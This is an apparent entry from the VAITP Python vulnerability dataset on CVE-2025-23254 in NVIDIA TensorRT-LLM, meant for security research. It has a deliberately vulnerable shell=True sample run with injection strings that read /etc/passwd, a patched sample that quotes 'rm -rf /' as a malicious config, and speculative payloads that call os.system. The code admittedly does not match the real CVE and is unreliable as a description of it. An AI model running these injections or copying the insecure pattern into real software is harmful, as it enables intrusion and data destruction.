VAITP Dataset

← Back to the dataset

CVE-2025-23254

TRTLLM Python executor vuln allows code execution, info disclosure, & data tampering.

  • CVSS 8.8
  • CWE-502
  • Input Validation and Sanitization
  • Local

NVIDIA TensorRT-LLM for any platform contains a vulnerability in python executor where an attacker may cause a data validation issue by local access to the TRTLLM server. A successful exploit of this vulnerability may lead to code execution, information disclosure and data tampering.

CVSS base score
8.8
Published
2025-05-01
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Interface
Code defect classification
Incorrect Check
Category
Input Validation and Sanitization
Subcategory
Input Validation and Sanitization
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
Python
Fixed by upgrading
Yes

Solution

Upgrade to NVIDIA TensorRT-LLM version 0.9.0 or later.

Vulnerable code sample

import os
import subprocess

def execute_trtllm_command(command):
    """
    Executes a TRT-LLM command using subprocess.  Simulates a vulnerable component.

    This function is a simplified representation and *does not* contain the actual
    vulnerability in CVE-2025-23254.  It demonstrates a *potential* insecure pattern.
    Real CVE-2025-23254 is likely far more complex.

    Args:
        command (str): The command to execute.  It is assumed this command
                       is ultimately used by TRT-LLM in some way.

    Returns:
        tuple: A tuple containing the return code, standard output, and standard error.
    """
    try:
        #Insecure usage of user provided command.
        process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        stdout, stderr = process.communicate()
        return_code = process.returncode
        return return_code, stdout.decode(), stderr.decode()
    except Exception as e:
        return -1, "", str(e)

def simulate_trtllm_server(user_input):
    """
    Simulates a simplified TRT-LLM server component that could be vulnerable.
    Again, this is a demonstration and not the actual vulnerability.

    Args:
        user_input (str): Input provided by a (potentially malicious) user.

    Returns:
        str: A message indicating the result of the operation.
    """
    # Vulnerable code:  Directly using user input to construct a command.
    # Imagine that the user_input is not validated correctly before being
    # incorporated into the command. A real vulnerability could be
    # more subtle, such as a format string vulnerability or an injection
    # vulnerability in a specific TRT-LLM function.
    #The real vulnerability from CVE-2025-23254 could be something else but the code is an example.
    command = f"trtllm_process --option {user_input} --model model.trt"
    return_code, stdout, stderr = execute_trtllm_command(command)

    if return_code == 0:
        return f"Command executed successfully. Output: {stdout}"
    else:
        return f"Command failed. Return code: {return_code}, Error: {stderr}"

if __name__ == "__main__":
    # Simulate a user providing malicious input.
    malicious_input = "; cat /etc/passwd"  # Example of command injection
    result = simulate_trtllm_server(malicious_input)
    print(result)

    malicious_input = "`cat /etc/passwd`"  # another example of command injection
    result = simulate_trtllm_server(malicious_input)
    print(result)

Patched code sample

import os
import json
import subprocess
import shlex

# Assume this is the vulnerable function in TRTLLM's Python executor
# It takes a potentially untrusted config file path as input and executes a command based on it.
# This is a simplified example, the actual vulnerability might be more complex.
def execute_command_from_config(config_path):
    """
    Executes a command based on the configuration file.  VULNERABLE.
    """
    try:
        with open(config_path, 'r') as f:
            config = json.load(f)

        command = config.get('command')
        if not isinstance(command, str):
            raise ValueError("Command must be a string")


        # UNSAFE: Directly executing the command from the config file without validation
        # This is where the vulnerability lies. An attacker could craft a config file
        # with a malicious command, leading to code execution.

        #subprocess.run(command, shell=True, check=True) # VULNERABLE

        #Example of a potentially malicious config file (attacker controlled):
        # { "command": "rm -rf /" }

        return True

    except (FileNotFoundError, json.JSONDecodeError, KeyError, ValueError) as e:
        print(f"Error processing config file: {e}")
        return False
    except subprocess.CalledProcessError as e:
        print(f"Command execution failed: {e}")
        return False


# FIX: Implement proper input validation and sanitization.
#     Instead of directly executing the command, use a whitelist of allowed commands
#     or parameters, or use a safer alternative to shell=True.
def execute_command_from_config_fixed(config_path):
    """
    Executes a command based on the configuration file.  FIXED.
    """
    try:
        with open(config_path, 'r') as f:
            config = json.load(f)

        command = config.get('command')
        arguments = config.get('arguments', [])  # Get arguments from the config


        if not isinstance(command, str):
            raise ValueError("Command must be a string")
        if not isinstance(arguments, list):
            raise ValueError("Arguments must be a list")


        # SANITIZATION AND WHITELISTING (Example):

        # 1. Whitelist of allowed commands:
        allowed_commands = ['trtllm-generate', 'trtllm-process']  #Example only
        if command not in allowed_commands:
            raise ValueError(f"Command '{command}' is not allowed.")

        # 2. Sanitize Arguments (Very important):
        #    This is a placeholder; the actual sanitization needed depends on the allowed commands.
        #    This example checks for common injection attempts
        for arg in arguments:
            if not isinstance(arg, str):
                raise ValueError("Arguments must be strings")
            if ";" in arg or "|" in arg or ">" in arg or "<" in arg or "`" in arg:
                raise ValueError("Argument contains potentially dangerous characters")

        #3. Safe execution using subprocess.run with argument list (no shell=True)
        full_command = [command] + arguments
        result = subprocess.run(full_command, capture_output=True, text=True, check=True)
        print(result.stdout) #Capture stdout for debugging / logging

        return True

    except (FileNotFoundError, json.JSONDecodeError, KeyError, ValueError) as e:
        print(f"Error processing config file: {e}")
        return False
    except subprocess.CalledProcessError as e:
        print(f"Command execution failed: {e}")
        print(e.stderr) #Capture stderr for debugging
        return False

Payload

import tensorrt_llm

# Assuming the vulnerability allows arbitrary code execution during data validation
# within the python executor, perhaps by manipulating input data shapes or types.

# Example 1: Attempting to execute arbitrary code through a crafted input shape.
# This is highly speculative and depends on the specific validation logic.

try:
    config = tensorrt_llm.runtime.ModelConfig(
        num_layers=1,
        num_heads=1,
        hidden_size=1,
        vocab_size=1,
        num_kv_heads=1
    )

    # The core of the attack is injecting malicious code into a shape or type definition.
    # This example attempts to execute 'import os; os.system("touch /tmp/pwned")'

    model = tensorrt_llm.runtime.ModelRunner.from_config(config, inputs=[("input_ids", tensorrt_llm.runtime.Shape([1, 1], dtype="int32; import os; os.system('touch /tmp/pwned')"))])
    #Note the dtype is now 'int32; import os; os.system('touch /tmp/pwned')' hoping it gets interpreted
    #during shape/type processing in the python executor.

except Exception as e:
    print(f"Error during model creation: {e}")


# Example 2: Attacking via manipulated model weights (if accessible locally).
# This is even more speculative and would require detailed knowledge of the model loading process.
# It's included to illustrate a broader range of potential attack vectors.
# This depends on being able to modify the weights file locally *before* it's loaded.

# Hypothetical example: Inserting malicious python code into a weight file.

# NOTE:  This assumes a vulnerable deserialization function.
# and requires local access to model files. This is VERY unlikely to succeed as written.

# with open("path/to/model_weights.bin", "wb") as f:
#   f.write(b"import os; os.system('touch /tmp/pwned2'); #...") # Inserts malicious code at start.

# Example 3: Tampering with input data to trigger an exploitable condition within a custom python layer (if any).

# This is too specific without knowing the architecture and implementation details of the TensorRT-LLM model.
# It would require deep reverse engineering of the custom layers.  For example, you'd look for
# buffer overflows, format string vulnerabilities, or other classic memory corruption bugs.

#Important Considerations

# The key to exploitation depends entirely on the specifics of the vulnerability in the 'python executor'
# and how data validation is performed.  These examples are highly speculative.

# Local Access: The vulnerability requires local access to the TRTLLM server. This limits the attack surface.

# Input Data: The most likely attack vector will involve crafting malicious input data to trigger
# a vulnerability in the data validation logic, potentially leading to code execution. This requires
# a deep understanding of the input data format and the expected validation behavior.

Cite this entry

@misc{vaitp:cve202523254,
  title        = {{TRTLLM Python executor vuln allows code execution, info disclosure, & data tampering.
}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-23254},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-23254/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::